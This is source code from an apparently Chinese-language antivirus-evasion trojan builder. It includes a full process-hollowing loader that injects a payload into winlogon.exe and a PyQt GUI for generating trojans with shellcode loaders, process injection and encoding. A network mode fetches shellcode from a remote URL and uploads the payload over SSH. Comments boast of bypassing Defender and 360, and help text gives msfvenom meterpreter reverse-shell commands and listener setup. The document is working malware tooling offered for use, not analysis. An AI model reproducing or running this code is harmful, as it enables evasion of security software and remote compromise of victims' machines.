168 | 'is_64':2,
169 | 'is_hidden':0,
170 | 'is_savePyFile':2,
171 | 'is_urlWriteIn':2,
172 | 'otherdic':{}
173 | }
174 |
175 |
176 |
177 | Creater(arg).run()
--------------------------------------------------------------------------------
/shellcodeLoader/ProcessHollowing.py:
--------------------------------------------------------------------------------
1 | import json
2 | import logging
3 | import platform
4 | import re
5 | import sys
6 | import subprocess
7 | from ctypes import *
8 | from ctypes.wintypes import *
9 |
10 |
11 | info="测试进程镂空winlogon.exe可以稳定在denfender、360等杀软防护下稳定上线,虽然defender会告警提示发现病毒木马,但并不会强制结束winlogon.exe,因此可以稳定上线使用。"
12 |
13 | CREATE_SUSPENDED = 0x00000004
14 | CONTEXT_FULL = 0x10000B
15 | WOW64_CONTEXT_FULL = 0x10007
16 |
17 | MEM_COMMIT = 0x1000
18 | MEM_RESERVE = 0x2000
19 | PAGE_EXECUTE_READWRITE = 0x40
20 |
21 | DWORD64 = c_ulonglong
22 |
23 | WOW64_MAXIMUM_SUPPORTED_EXTENSION = 512
24 |
25 |
26 | class SECURITY_ATTRIBUTES(Structure):
27 | _fields_ = [
28 | ("nLength", DWORD),
29 | ("lpSecurityDescriptor", LPVOID),
30 | ("bInheritHandle", BOOL),
31 | ]
32 |
33 |
34 | class PROCESS_INFORMATION(Structure):
35 | _fields_ = [
36 | ("hProcess", HANDLE),
37 | ("hThread", HANDLE),
38 | ("dwProcessId", DWORD),
39 | ("dwThreadId", DWORD),
40 | ]
41 |
42 |
43 | class STARTUPINFO(Structure):
44 | _fields_ = [
45 | ("cb", DWORD),
46 | ("lpReserved", LPWSTR),
47 | ("lpDesktop", LPWSTR),
48 | ("lpTitle", LPWSTR),
49 | ("dwX", DWORD),
50 | ("dwY", DWORD),
51 | ("dwXSize", DWORD),
52 | ("dwYSize", DWORD),
53 | ("dwXCountChars", DWORD),
54 | ("dwYCountChars", DWORD),
55 | ("dwFillAttribute", DWORD),
56 | ("dwFlags", DWORD),
57 | ("wShowWindow", WORD),
58 | ("cbReserved2", WORD),
59 | ("lpReserved2", POINTER(BYTE)),
60 | ("hStdInput", HANDLE),
61 | ("hStdOutput", HANDLE),
62 | ("hStdError", HANDLE),
63 | ]
64 |
65 |
66 | class WOW64_FLOATING_SAVE_AREA(Structure):
67 | _fields_ = [
68 | ("ControlWord", DWORD),
69 | ("StatusWord", DWORD),
70 | ("TagWord", DWORD),
71 | ("ErrorOffset", DWORD),
72 | ("ErrorSelector", DWORD),
73 | ("DataOffset", DWORD),
74 | ("DataSelector", DWORD),
75 | ("RegisterArea", BYTE * 80),
76 | ("Cr0NpxState", DWORD),
77 | ]
78 |
79 |
80 | class WOW64_CONTEXT(Structure):
81 | _fields_ = [
82 | ("ContextFlags", DWORD),
83 | ("Dr0", DWORD),
84 | ("Dr1", DWORD),
85 | ("Dr2", DWORD),
86 | ("Dr3", DWORD),
87 | ("Dr6", DWORD),
88 | ("Dr7", DWORD),
89 | ("FloatSave", WOW64_FLOATING_SAVE_AREA),
90 | ("SegGs", DWORD),
91 | ("SegFs", DWORD),
92 | ("SegEs", DWORD),
93 | ("SegDs", DWORD),
94 | ("Edi", DWORD),
95 | ("Esi", DWORD),
96 | ("Ebx", DWORD),
97 | ("Edx", DWORD),
98 | ("Ecx", DWORD),
99 | ("Eax", DWORD),
100 | ("Ebp", DWORD),
101 | ("Eip", DWORD),
102 | ("SegCs", DWORD),
103 | ("EFlags", DWORD),
104 | ("Esp", DWORD),
105 | ("SegSs", DWORD),
106 | ("ExtendedRegisters", BYTE * WOW64_MAXIMUM_SUPPORTED_EXTENSION),
107 | ]
108 |
109 |
110 | class M128A(Structure):
111 | _fields_ = [("Low", DWORD64), ("High", DWORD64)]
112 |
113 |
114 | class XMM_SAVE_AREA32(Structure):
115 | _pack_ = 1
116 | _fields_ = [
117 | ("ControlWord", WORD),
118 | ("StatusWord", WORD),
119 | ("TagWord", BYTE),
120 | ("Reserved1", BYTE),
121 | ("ErrorOpcode", WORD),
122 | ("ErrorOffset", DWORD),
123 | ("ErrorSelector", WORD),
124 | ("Reserved2", WORD),
125 | ("DataOffset", DWORD),
126 | ("DataSelector", WORD),
127 | ("Reserved3", WORD),
128 | ("MxCsr", DWORD),
129 | ("MxCsr_Mask", DWORD),
130 | ("FloatRegisters", M128A * 8),
131 | ("XmmRegisters", M128A * 16),
132 | ("Reserved4", BYTE * 96),
133 | ]
134 |
135 |
136 | class DUMMYSTRUCTNAME(Structure):
137 | _fields_ = [
138 | ("Header", M128A * 2),
139 | ("Legacy", M128A * 8),
140 | ("Xmm0", M128A),
141 | ("Xmm1", M128A),
142 | ("Xmm2", M128A),
143 | ("Xmm3", M128A),
144 | ("Xmm4", M128A),
145 | ("Xmm5", M128A),
146 | ("Xmm6", M128A),
147 | ("Xmm7", M128A),
148 | ("Xmm8", M128A),
149 | ("Xmm9", M128A),
150 | ("Xmm10", M128A),
151 | ("Xmm11", M128A),
152 | ("Xmm12", M128A),
153 | ("Xmm13", M128A),
154 | ("Xmm14", M128A),
155 | ("Xmm15", M128A),
156 | ]
157 |
158 |
159 | class DUMMYUNIONNAME(Union):
160 | _fields_ = [("FltSave", XMM_SAVE_AREA32), ("DummyStruct", DUMMYSTRUCTNAME)]
161 |
162 |
163 | class CONTEXT64(Structure):
164 | _pack_ = 16
165 | _fields_ = [
166 | ("P1Home", DWORD64),
167 | ("P2Home", DWORD64),
168 | ("P3Home", DWORD64),
169 | ("P4Home", DWORD64),
170 | ("P5Home", DWORD64),
171 | ("P6Home", DWORD64),
172 | ("ContextFlags", DWORD),
173 | ("MxCsr", DWORD),
174 | ("SegCs", WORD),
175 | ("SegDs", WORD),
176 | ("SegEs", WORD),
177 | ("SegFs", WORD),
178 | ("SegGs", WORD),
179 | ("SegSs", WORD),
180 | ("EFlags", DWORD),
181 | ("Dr0", DWORD64),
182 | ("Dr1", DWORD64),
183 | ("Dr2", DWORD64),
184 | ("Dr3", DWORD64),
185 | ("Dr6", DWORD64),
186 | ("Dr7", DWORD64),
187 | ("Rax", DWORD64),
188 | ("Rcx", DWORD64),
189 | ("Rdx", DWORD64),
190 | ("Rbx", DWORD64),
191 | ("Rsp", DWORD64),
192 | ("Rbp", DWORD64),
193 | ("Rsi", DWORD64),
194 | ("Rdi", DWORD64),
195 | ("R8", DWORD64),
196 | ("R9", DWORD64),
197 | ("R10", DWORD64),
198 | ("R11", DWORD64),
199 | ("R12", DWORD64),
200 | ("R13", DWORD64),
201 | ("R14", DWORD64),
202 | ("R15", DWORD64),
203 | ("Rip", DWORD64),
204 | ("DebugControl", DWORD64),
205 | ("LastBranchToRip", DWORD64),
206 | ("LastBranchFromRip", DWORD64),
207 | ("LastExceptionToRip", DWORD64),
208 | ("LastExceptionFromRip", DWORD64),
209 | ("DUMMYUNIONNAME", DUMMYUNIONNAME),
210 | ("VectorRegister", M128A * 26),
211 | ("VectorControl", DWORD64),
212 | ]
213 |
214 |
215 |
216 |
217 | def main(dic=dict()):
218 | print(type(dic))
219 | print(type(json.loads(dic)))
220 | if not isinstance(dic,dict):
221 | dic=json.loads(dic)
222 | TARGET_EXE = dic.get('TARGET_EXE')
223 | if not TARGET_EXE:
224 | TARGET_EXE='winlogon.exe'
225 | USING_64_BIT = platform.architecture()[0] == '64bit'
226 | # PE_TYPE,ImageBase,SizeOfImage,SizeOfHeaders,AddressOfEntryPoint,get_field_absolute_offset,payload_data,sections=getPayload()
227 | PE_TYPE=dic.get('PE_TYPE')
228 | ImageBase=dic.get('ImageBase')
229 | SizeOfImage=dic.get('SizeOfImage')
230 | SizeOfHeaders=dic.get('SizeOfHeaders')
231 | AddressOfEntryPoint=dic.get('AddressOfEntryPoint')
232 | get_field_absolute_offset=dic.get('get_field_absolute_offset')
233 | payload_data=dic.get('payload_data').encode('latin1')
234 | sections=dic.get('sections')
235 | # ImageBase=dic['ImageBase']
236 | # ImageBase=dic['ImageBase']
237 |
238 | logger = logging.getLogger(__name__)
239 | logging.basicConfig(
240 | format="[%(asctime)s] %(levelname)s: %(message)s",
241 | level=logging.DEBUG,
242 | datefmt="%Y-%m-%d %H:%M:%S",
243 | )
244 |
245 | startup_info = STARTUPINFO()
246 | startup_info.cb = sizeof(startup_info)
247 | process_info = PROCESS_INFORMATION()
248 |
249 |
250 | if windll.kernel32.CreateProcessA(
251 | None,
252 | create_string_buffer(bytes(TARGET_EXE, encoding="ascii")),
253 | None,
254 | None,
255 | False,
256 | CREATE_SUSPENDED, #dwCreationFlags:0x00000004的值,代表新进程的主线程处于挂起状态创建,在调用 ResumeThread 函数之前不会运行。
257 | None,
258 | None,
259 | byref(startup_info),
260 | byref(process_info),
261 | ) == 0:
262 | logger.error(f"挂起{TARGET_EXE}失败: {FormatError(GetLastError())}")
263 | sys.exit(1)
264 | logger.debug(f"挂起{TARGET_EXE}成功,进程ID: {process_info.dwProcessId}")
265 |
266 |
267 | context = CONTEXT64() if USING_64_BIT else WOW64_CONTEXT()
268 | context.ContextFlags = CONTEXT_FULL if USING_64_BIT else WOW64_CONTEXT_FULL
269 | if windll.kernel32.GetThreadContext(process_info.hThread, byref(context)) == 0:
270 | logger.error(f"获取目标线程上下文失败: {FormatError(GetLastError())}")
271 | sys.exit(1)
272 |
273 | logger.info(f"获取目标线程上下文成功")
274 | target_image_base = LPVOID()
275 | if windll.kernel32.ReadProcessMemory(
276 | process_info.hProcess,
277 | LPVOID((context.Rdx if USING_64_BIT else context.Ebx) + 2 * sizeof(c_size_t)),
278 | byref(target_image_base),
279 | sizeof(LPVOID),
280 | None
281 | ) == 0:
282 | logger.error(f"获取目标基地址失败: {FormatError(GetLastError())}")
283 | sys.exit(1)
284 | logger.debug(f"获取目标进程基地址成功: {hex(target_image_base.value)}")
285 |
286 | if target_image_base == ImageBase:
287 | logger.info("Unmapping target executable from the process ")
288 | if windll.ntdll.NtUnmapViewOfSection(process_info.hProcess, target_image_base) == 0:
289 | logger.error(f"Error in NtUnmapViewOfSection: {FormatError(GetLastError())}")
290 | sys.exit(1)
291 |
292 |
293 | if USING_64_BIT:
294 | windll.kernel32.VirtualAllocEx.restype = LPVOID
295 | allocated_address = windll.kernel32.VirtualAllocEx(
296 | process_info.hProcess,
297 | LPVOID(ImageBase),
298 | SizeOfImage,
299 | MEM_COMMIT | MEM_RESERVE,
300 | PAGE_EXECUTE_READWRITE,
301 | )
302 | if allocated_address == 0:
303 | logger.error(f"VirtualAllocEx申请内存失败: {FormatError(GetLastError())}")
304 | sys.exit(1)
305 | logger.debug(f"VirtualAllocEx申请内存成功:{hex(allocated_address)}")
306 |
307 |
308 | if windll.kernel32.WriteProcessMemory(
309 | process_info.hProcess,
310 | LPVOID(allocated_address),
311 | payload_data,
312 | SizeOfHeaders,
313 | None,
314 | ) == 0:
315 | logger.error(f"向{hex(allocated_address)}中写入payload失败: {FormatError(GetLastError())}")
316 | sys.exit(1)
317 | logger.info(f"将payload写入刚申请的地址:{hex(allocated_address)}")
318 |
319 |
320 | for section in sections:
321 | section_name = section['sectionName']
322 | logger.info(f"将payload的section {section_name} 写入 {hex(allocated_address + section['sectionVirtualAddress'])}(目标进程中申请的基地址+payload section的偏移)")
323 | if windll.kernel32.WriteProcessMemory(
324 | process_info.hProcess,
325 | LPVOID(allocated_address + section['sectionVirtualAddress']),
326 | payload_data[section['sectionPointerToRawData']:],
327 | section['sectionSizeOfRawData'],
328 | None,
329 | ) == 0:
330 | logger.error(f"修改Section失败: {FormatError(GetLastError())}")
331 | sys.exit(1)
332 |
333 | logger.info("修改Section成功")
334 |
335 | if USING_64_BIT:
336 | context.Rcx = allocated_address + AddressOfEntryPoint
337 | logger.debug(f"新的entrypoint: {hex(context.Rcx)}(目标进程中申请的基地址+payload的entrypoint)")
338 | else:
339 | context.Eax = allocated_address + AddressOfEntryPoint
340 | logger.debug(f"New entrypoint: {hex(context.Eax)}(目标进程中申请的基地址+payload的entrypoint)")
341 |
342 |
343 | if windll.kernel32.WriteProcessMemory(
344 | process_info.hProcess,
345 | LPVOID((context.Rdx if USING_64_BIT else context.Ebx) + 2 * sizeof(c_size_t)),
346 | payload_data[get_field_absolute_offset:],
347 | sizeof(LPVOID),
348 | None,
349 | ) == 0:
350 | logger.error(f"修改entrypoint失败: {FormatError(GetLastError())}")
351 | sys.exit(1)
352 | logger.info("修改entrypoint成功")
353 |
354 |
355 | if windll.kernel32.SetThreadContext(process_info.hThread, byref(context)) == 0:
356 | logger.error(f"修改目标线程上下文失败: {FormatError(GetLastError())}")
357 | sys.exit(1)
358 | logger.info("修改目标线程上下文成功")
359 |
360 |
361 |
362 | while True:
363 | #让挂起的进程
364 | value=windll.kernel32.ResumeThread(process_info.hThread)
365 | if value== 0:
366 | logger.error(f"恢复挂起进程: {FormatError(GetLastError())}")
367 | break
368 |
369 |
370 | # import time
371 | # time.sleep(20)
372 |
373 | def findExE():
374 | cmd=f"tasklist"
375 | out=subprocess.Popen(cmd,shell=True,stdout=subprocess.PIPE)
376 | infos=out.stdout.read().splitlines()
377 | exelist=[] #去重
378 | if len(infos) >=1:
379 | for i in infos:
380 | if not i:
381 | continue
382 | i=i.decode('gbk')
383 | exename=i.split()[0]
384 | if not re.search(r'.exe',exename):
385 | continue
386 | if exename not in exelist:
387 | exelist.append(exename)
388 | return exelist
389 | else:
390 | return -1
391 |
392 | if __name__ == '__main__':
393 | import shellcoder
394 | buf=shellcoder.main('','',r"C:\Users\d\Desktop\hack\payloadJQuery.py",'','',True)
395 | print('buf:\n',buf)
396 | main(buf)
397 |
--------------------------------------------------------------------------------
/StormBypassAV.py:
--------------------------------------------------------------------------------
1 | #encoding:utf-8
2 |
3 | import importlib
4 | import os
5 | import re
6 | import sys
7 | import time
8 |
9 | import paramiko
10 | from PyQt5.QtCore import QThread, pyqtSignal, Qt, QRect
11 | from PyQt5.QtGui import QIcon
12 | from PyQt5.QtWidgets import QApplication, QMainWindow, QWidget, QVBoxLayout, QHBoxLayout, QLabel, QLineEdit, \
13 | QPushButton, QButtonGroup, QRadioButton, QComboBox, QDesktopWidget, QFileDialog, QCheckBox, QFrame, QTextEdit
14 |
15 | from PyQt5.QtWidgets import QTabWidget
16 | import threading
17 |
18 | from TrojanCreater import Creater
19 |
20 | from lib.SSHServer import readConfig,saveConfig,getRemotePath
21 | from lib.SSHServer import main as sshMain
22 | import traceback
23 | from shellcoder import networkMode
24 |
25 |
26 | class Worker(QThread):
27 | sinOut = pyqtSignal(str)
28 |
29 | def __init__(self, parent=None):
30 | super(Worker, self).__init__(parent)
31 | #设置工作状态与初始num数值
32 | self.working = False
33 | self.num = 0
34 |
35 | def __del__(self):
36 | #线程状态改变与线程终止
37 | self.working = False
38 | self.wait()
39 | print('销毁')
40 |
41 | def run(self):
42 | print('run')
43 | while True:
44 | time.sleep(1)
45 | if self.working:
46 | # file_str = 'File index{0}'.format(self.num)
47 | self.num += 1
48 | # 发射信号
49 | self.sinOut.emit(str(self.num))
50 | # 线程休眠2秒
51 |
52 | # self.__del__()
53 |
54 |
55 | class commonFun():
56 | def __init__(self):
57 | print('init:',self)
58 | self.dic1={
59 | '动态内存加载器1':'VirtualAlloc1.py',
60 | '动态内存加载器2':'VirtualAlloc2.py',
61 | 'ipv4加载器':'ipv4Loader.py',
62 | 'ipv6加载器':'ipv6Loader.py',
63 | 'mac加载器':'macLoader.py',
64 | 'uuid加载器':'uuidLoader.py',
65 | }
66 | self.dic2={
67 | '进程镂空':'ProcessHollowing.py',
68 | '进程注入':'RemoteInject.py'
69 |
70 | }
71 | self.dic3={
72 | 'base64+随机位移':'base64Enc.py',
73 | }
74 | self.dic4={}
75 | self.dic4.update(self.dic1)
76 | self.dic4.update(self.dic2)
77 |
78 | self.flush=Worker()
79 | self.flush.sinOut.connect(self.flush_ui)
80 | self.flush.start()
81 |
82 | def ChoseFileName(self):
83 | path=os.path.dirname(os.path.abspath(__file__))+os.sep+'config'
84 | try:
85 | os.makedirs(path)
86 | except:
87 | pass
88 | fname = QFileDialog.getOpenFileName(self, '选择文件名', path,f"Vertex file({self.fileType})",None,QFileDialog.DontUseNativeDialog)
89 | print(fname)
90 | if fname[0]:
91 | print(fname[0])
92 | self.fileNameEdit.setText(fname[0])
93 |
94 | self.changeEachTime()
95 |
96 |
97 | def GetMethod(self,pressed):
98 |
99 | source=self.sender()
100 | # print(pressed)
101 | # print(source.text())
102 | if source.text()=='shellcode网络分离':
103 | print('?',pressed)
104 | if pressed:
105 | self.shellcodeSplitInfo='\n【shellcode网络分离】:\n从http或https站点加载shellcode(推荐使用https以更好的隐匿自己),可以做到shellcode不落地,配合进程注入和进程镂空、删除加载器文件等可以实现无文件落地的效果,具有很好的隐蔽性。勾选将URL写入木马可以免去运行时手动输入URL地址的情况,也可以选择在配置中添加web网站SSH的账号密码让脚本自动同步上传PayloadFile,【因为加密器可能会使用随机数导致每次生成的PayloadFile和shellcode加载器都不相同,所以每次重写生成后都需要更新你网站上的PayloadFile文件】'
106 | self.localsplit.setChecked(False)
107 | self.ipaddrEdit.setHidden(False if pressed else True)
108 | self.ipaddrLable.setHidden(False if pressed else True)
109 | self.urlWriteIn.setHidden(False if pressed else True)
110 |
111 | elif source.text()=='shellcode本地分离':
112 | if pressed:
113 | self.shellcodeSplitInfo='\n【shellcode本地分离】:\n将shellcode和加载器进行分离,具有不错的免杀效果,使用时需要将生成的xxx.exe和PayloadFile放在同目录,或运行时手动输入PayloadFile文件路径'
114 | self.networksplit.setChecked(False)
115 | self.ipaddrEdit.setHidden(True)
116 | self.ipaddrLable.setHidden(True)
117 | self.urlWriteIn.setHidden(True)
118 |
119 | else:
120 | pass
121 | # print(self.shellcodeCombo.currentText())
122 | # print(self.localsplit.isChecked())
123 | print(self.fileNameEdit.text())
124 |
125 |
126 |
127 | if not pressed:
128 | self.shellcodeSplitInfo=''
129 |
130 |
131 | self.changeEachTime()
132 |
133 |
134 | def Getmapping(self,type_):
135 |
136 | if type_=='normal':
137 | return list(self.dic1.keys())
138 | elif type_=='Encoder':
139 | return list(self.dic3.keys())
140 | elif type_=='hidden':
141 | return list(self.dic2.keys())
142 |
143 | def GetCombo(self):
144 | print(self.shellcodeCombo.currentText())
145 | print(self.cryptorCombo.currentText())
146 | self.shellcodeType=self.shellcodeCombo.currentText()
147 | self.cryptorType=self.cryptorCombo.currentText()
148 | if self.shellcodeCombo.currentText()=='进程注入' or self.shellcodeCombo.currentText()=='进程镂空':
149 | self.changeEachTime()
150 |
151 | self.changeEachTime()
152 |
153 |
154 |
155 | def setDefault(self,type_):
156 |
157 | if type_=='normal':
158 | self.nomalInfo='【普通模式】:\n经测试对360、VT等有很好的免杀效果'
159 | elif type_=='hidden':
160 |
161 | self.nomalInfo='【隐匿模式】:\n经测试,使用进程镂空winlogon.exe具有非常好的免杀和隐蔽效果,可以稳定上线Windows Defender、360'
162 |
163 | self.cryptorType=self.Getmapping('Encoder')[0] #获取加解密器的类型
164 | self.shellcodeType=self.Getmapping(type_)[0] #获取shellcode的类型
165 | self.shellcodeSplitInfo='' #shellcode分离类型
166 | self.shellcodeInfo='' #shelcode info信息
167 | self.cryptorInfo='' #加解密器的info信息
168 | self.url='' #url地址
169 | self.host='' #配置文件中host地址
170 | self.port=22 #配置文件中port
171 | self.username='' #配置文件中username
172 | self.password='' #配置文件中password
173 | self.remotepath='' #配置文件中remotepath
174 |
175 |
176 | self.changeEachTime()
177 |
178 |
179 | def getInfo(self,file):
180 | # print(file)
181 | file=file.replace('.py','')
182 | md=importlib.import_module(file)
183 | try:
184 | info = md.info
185 | except:
186 | info = ''
187 | return info
188 |
189 | def changeEachTime(self):
190 | print('刷新')
191 | if self.shellcodeType=='进程注入':
192 | self.fileType='*.py'
193 | self.targetEditInfo=f'(固定值:explorer.exe,测试注入其他进程无效)'
194 | # 设置目标进程名编辑框的默认提示信息:
195 | self.targetEdit.setPlaceholderText(self.targetEditInfo)
196 | self.fileNameEdit.setPlaceholderText('请选择cs或者msf生成的.py格式shellcode')
197 | elif self.shellcodeType=='进程镂空':
198 | self.targetEditInfo=f'(默认值:winlogon.exe,可修改为指定程序路径)'
199 | self.fileType='*.exe'
200 | # 设置目标进程名编辑框的默认提示信息:
201 | self.targetEdit.setPlaceholderText(self.targetEditInfo)
202 | self.fileNameEdit.setPlaceholderText('请选择cs或者msf生成的.exe木马')
203 |
204 | else:
205 | self.fileNameEdit.setPlaceholderText('请选择cs或者msf生成的.py格式shellcode')
206 | self.fileType='*.py'
207 |
208 |
209 | self.shellcodeInfo=self.getInfo('shellcodeLoader'+'.'+self.dic4[self.shellcodeType])
210 | self.cryptorInfo=self.getInfo('Encoder'+'.'+self.dic3[self.cryptorType])
211 | # print(self.shellcodeInfo)
212 |
213 | #每次改变tip提示信息
214 |
215 | self.tipInfo.setText(self.nomalInfo+f'\n\n【{self.cryptorType}】:\n{self.cryptorInfo}'+f'\n\n【{self.shellcodeType}】:\n'+self.shellcodeInfo+'\n'+self.shellcodeSplitInfo)
216 |
217 |
218 | #每次改变url地址:
219 | self.readSSHConfig() #重新读取SSH配置文件
220 | self.ipaddrEdit.setText(self.url)
221 |
222 |
223 | def readSSHConfig(self):
224 | value=readConfig()
225 | if not value:
226 | self.url=''
227 | else:
228 | self.host=value[0]
229 | self.port=value[1]
230 | self.username=value[2]
231 | self.password=value[3]
232 | self.remotepath=value[4]
233 | self.url=value[5]+'PayloadFile'
234 |
235 |
236 | def debug(self,arg):
237 | data=f"{self.shellcodeType}模式请选择{'.exe' if self.shellcodeType=='进程镂空' else '.py'}格式payload"
238 | str00=f'{data}'
239 | str0=f'请选择cs或msf生成的{".exe" if self.shellcodeType=="进程镂空" else ".py" }格式shellcode'
240 |
241 | str1=f"""
【CS】:
242 | payload生成器-> 输出格式Python(勾选x64)
243 |
244 | 【msf】:
245 | msfvenom -a x64 --platform windows -p windows/x64/meterpreter/reverse_tcp LHOST=x.x.x.x LPORT=4444 -i 3 -f python -o cspayload.py
246 |
247 | 【开启msf监听】:
248 | > use exploit/multi/handler
249 | > set lhost x.x.x.x
250 | > set lport xxx
251 | > set payload windows/x64/meterpreter/reverse_tcp
252 | > run
253 | """
254 | str2=f""":
【CS】:
255 | Windows可执行程序(勾选x64)
256 |
257 | 【msf】:
258 | msfvenom -a x64 --platform windows -p windows/x64/meterpreter/reverse_tcp LHOST=x.x.x.x LPORT=4444 -b\'\\x00\' -f exe > csartifacet.exe
259 |
260 | 【开启msf监听】:
261 | > use exploit/multi/handler
262 | > set lhost x.x.x.x
263 | > set lport xxx
264 | > set payload windows/x64/meterpreter/reverse_tcp
265 | > run
266 |
267 | """
268 |
269 | if not arg.get('payloadFile'):
270 | # self.tipInfo.setText('aaaa')
271 | self.tipInfo.setText(str0+(str2 if self.shellcodeType=="进程镂空" else str1))
272 | return False
273 |
274 | if self.shellcodeType=='进程镂空' :
275 | if re.search(r'\.exe',self.fileNameEdit.text()):
276 | return True
277 | else:
278 | self.tipInfo.setText(str00+(str2 if self.shellcodeType=="进程镂空" else str1))
279 | return False
280 | else:
281 | if re.search(r'\.py',self.fileNameEdit.text()):
282 | return True
283 | else:
284 | self.tipInfo.setText(str00+(str2 if self.shellcodeType=="进程镂空" else str1))
285 | return False
286 |
287 |
288 | return True
289 |
290 |
291 | def GoRun(self):
292 | #刷新一下
293 | self.changeEachTime()
294 |
295 | spliteMode=''
296 | if self.localsplit.isChecked():
297 | spliteMode='local'
298 | elif self.networksplit.isChecked():
299 | spliteMode='network'
300 |
301 | try:
302 | TARGET_EXE=self.targetEdit.text()
303 | except:
304 | TARGET_EXE=''
305 |
306 |
307 | is_urlWriteIn=self.urlWriteIn.checkState()
308 | if spliteMode=='network' and not self.ipaddrEdit.text().strip():
309 | is_urlWriteIn=0
310 |
311 |
312 | arg={
313 | 'shellcodeLoaderType':self.dic4[self.shellcodeCombo.currentText()],
314 | 'cryptoType':self.dic3[self.cryptorCombo.currentText()],
315 | 'spliteMode': spliteMode,
316 | 'payloadFile':self.fileNameEdit.text(),
317 | 'url':self.ipaddrEdit.text(),
318 |
319 | 'is_64':self.check64.checkState(),
320 | 'is_hidden':self.hiddenWindow.checkState(),
321 | 'is_savePyFile':self.savePyFile.checkState(),
322 | 'is_urlWriteIn':is_urlWriteIn,
323 | 'otherdic':{"TARGET_EXE":TARGET_EXE}
324 |
325 | }
326 | print(arg)
327 | if self.debug(arg):
328 | #重新读取SSH配置文件
329 | self.readSSHConfig()
330 |
331 | #生成木马文件
332 | self.t_main(self.t_gorun,arg)
333 |
334 |
335 |
336 |
337 |
338 | def changeConfig(self):
339 |
340 | result=saveConfig(self.hostEdit.text(),
341 | self.portEdit.text(),
342 | self.usernameEdit.text(),
343 | self.passwordEdit.text(),
344 | self.remotepathEdit.text(),
345 | self.urlEdit.text()
346 | )
347 | print(result)
348 | if not result:
349 | self.tipInfo.setText('修改成功!')
350 | else:
351 | self.tipInfo.setText(result)
352 |
353 | def testConnect(self):
354 | # result=testConnect(
355 | # self.hostEdit.text(),
356 | # self.portEdit.text(),
357 | # self.usernameEdit.text(),
358 | # self.passwordEdit.text()
359 | # )
360 | # if not result:
361 | # self.tipInfo.setText('服务器连接成功!')
362 | # else:
363 | #
364 | # self.tipInfo.setText(result)
365 | self.t_main(self.t_testConnect,self.hostEdit.text(),self.portEdit.text(),self.usernameEdit.text(),self.passwordEdit.text())
366 | print('yes')
367 |
368 |
369 | def t_gorun(self,arg):
370 |
371 | self.result='正在执行,请稍等'
372 | self.flush.working=True
373 | try:
374 | if arg['spliteMode']=='network':
375 |
376 |
377 | if self.host and self.port and self.username and self.password and self.url:
378 | if self.urlWriteIn.checkState():
379 | #要将url写入exe
380 | #1.服务器健康检测
381 | self.result=f'
正在测试连接SSH服务器{self.host}:{self.port}'
382 | if self.t_testConnect(self.host,self.port,self.username,self.password):
383 | self.result += "
正在检测url地址"
384 | else:
385 | # self.result = f'SSH连接服务器{self.host}:{self.port}失败!'
386 | return False
387 | #2.url检测
388 | if networkMode(self.url):
389 | self.result+="
PayloadFile URL健康检测通过
正在生成木马"
390 | else:
391 | #url不写入exe
392 | self.result = "配置URL不写入木马,运行时候需要手动输入URL,正在生成木马"
393 |
394 | else:
395 | self.result = "未在配置中添加完整的SSH服务器信息和URL信息,生成的PayloadFile必须手动上传到服务器(每次会变化)
正在生成木马"
396 | #3.生成木马
397 | result=Creater(arg).run()
398 | self.result = result
399 |
400 | #4.如果是网络分离模式,如果配置了SSH服务器,那么自动将生成的PayloadFile文件同步到服务器。
401 | sshMain(self.host,
402 | int(self.port),
403 | self.username,
404 | self.password,
405 | f"{os.path.dirname(os.path.abspath(__file__))+os.sep+'result'+os.sep+'PayloadFile'}",
406 | self.remotepath)
407 | else:
408 | #1.生成木马
409 | result=Creater(arg).run()
410 | self.result = result
411 | except:
412 | self.result=traceback.format_exc()
413 |
414 |
415 | def t_testConnect(self,ssh_host, ssh_port, ssh_user, ssh_password):
416 | try:
417 | print('?1')
418 | # 创建SSH客户端对象
419 | ssh = paramiko.SSHClient()
420 | ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
421 | print('?2')
422 | # 连接SSH服务器
423 |
424 | ssh.connect(ssh_host, ssh_port, ssh_user, ssh_password)
425 | print('?3')
426 | self.result=f"连接{ssh_host}:{ssh_port}成功"
427 | return True
428 | except:
429 | self.result=traceback.format_exc()
430 | return False
431 |
432 | def t_main(self,fun,*args):
433 | self.result='正在执行,请稍等'
434 | self.flush.working=True
435 | t=threading.Thread(target=fun,args=(args))
436 | t.start()
437 |
438 |
439 |
440 | def flush_ui(self,num):
441 | # print(self.result)
442 | # print(num)
443 |
444 | if re.search('正在执行,请稍等',self.result):
445 | self.result='正在执行,请稍等'+'.'*int(num)
446 | if int(num)>6:
447 | self.flush.num=0
448 | elif re.search('正在',self.result):
449 | self.result += '.'
450 | else:
451 | self.flush.working=False
452 | self.tipInfo.setStyleSheet("color: rgba(0, 0, 0, 128);")
453 | self.tipInfo.setText(self.result)
454 |
455 |
456 |
457 | class Common(QWidget,commonFun):
458 | def __init__(self):
459 | super().__init__()
460 |
461 |
462 | #go
463 | self.gobtn=QPushButton("Go")
464 | self.gobtn.resize(50,50)
465 | self.gobtn.clicked.connect(self.GoRun)
466 |
467 |
468 | # 第一排
469 | self.localsplit = QPushButton("shellcode本地分离")
470 |
471 | self.networksplit = QPushButton("shellcode网络分离")
472 |
473 | self.localsplit.setCheckable(True)
474 |
475 | self.networksplit.setCheckable(True)
476 | self.localsplit.clicked.connect(self.GetMethod)
477 | self.networksplit.clicked.connect(self.GetMethod)
478 |
479 | # 第二排
480 | self.fileNameLabel = QLabel("payload:")
481 | self.fileNameEdit = QLineEdit()
482 |
483 | self.selectFileButton = QPushButton("选择文件")
484 | self.selectFileButton.clicked.connect(self.ChoseFileName)
485 |
486 | # 第三排
487 | self.shellcodeLabel = QLabel("Shellcode 加载器类型:")
488 | self.shellcodeCombo = QComboBox()
489 | self.cryptorLabel = QLabel("加解密器类型:")
490 | self.cryptorCombo = QComboBox()
491 |
492 | self.shellcodeCombo.addItems(self.Getmapping('normal'))
493 | self.cryptorCombo.addItems(self.Getmapping('Encoder'))
494 |
495 |
496 | self.cryptorCombo.activated[str].connect(self.GetCombo)
497 | self.shellcodeCombo.activated[str].connect(self.GetCombo)
498 |
499 |
500 |
501 | # 第四排
502 | self.check64=QCheckBox("64位模式")
503 |
504 | self.hiddenWindow=QCheckBox("隐藏运行时窗口")
505 | self.savePyFile=QCheckBox("保留生成的py文件")
506 | self.urlWriteIn=QCheckBox("URL写入木马")
507 |
508 | self.check64.setChecked(True)
509 | self.urlWriteIn.setChecked(True)
510 | self.urlWriteIn.setHidden(True)
511 | # self.savePyFile.setHidden(True)
512 |
513 | self.check64.clicked.connect(self.GetMethod)
